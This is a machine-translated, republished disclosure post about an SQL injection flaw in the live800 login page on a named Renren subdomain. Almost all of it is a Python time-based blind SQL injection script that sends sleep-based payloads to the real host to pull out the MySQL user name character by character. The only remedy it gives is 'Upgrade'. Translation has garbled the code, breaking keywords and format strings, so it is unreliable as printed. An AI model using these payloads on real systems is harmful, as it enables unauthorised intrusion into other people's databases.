Renren website has SQL injection vulnerability with verification script

Source: Internet
Author: User

Renren website has SQL injection vulnerability with verification script

Renren website SQL Injection Vulnerability

Recently live800 seems very fire on the dark clouds search... http://live800.wan.renren.com/live800/loginAction.jsp? CompanyLoginName = 1 * & loginName = a111 & password = 111 live800 customer service system this was cracked by the Daniel and found a lijiejie script. At the beginning, the incomplete format cannot be cracked ,,, after a while, after the script is completed, I feel rich and handsome. Haha, please visit the homepage.


Import httplib
Import time
Import string
Import sys
Import random
Import urllib
Headers = {}
Payloads = 'abcdefghijklmnopqrstuvwxyz0123456789 @_.'
Print '[% s] Start to retrive MySQL User:' % time. strftime ('% H: % M: % s', time. localtime ())
User =''
For I in range (1, 21 ):
For payload in payloads:
Try:
S = "ascii (mid (lower (user (), % s, 1) = % s" % (I, ord (payload ))
S = "1 'XOR (if (% s, sleep (3), 0) OR '1" % s
Conn = httplib. HTTPConnection ('live800 .wan.renren.com ', timeout = 3)
Conn. request (method = 'get', url = "/live800/loginAction. jsp? CompanyLoginName = 1% s & loginName = a111 & password = 111 "% urllib. quote (s ))
Conn. getresponse ()
Conn. close ()
Print '.',
Except t Exception, e:
Print e
User + = payload
Print '\ n [in progress]', user,
Time. sleep (3.0)
Break
Print '\ n [Done] MySQL user is % s' % user
Solution:
Upgrade

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.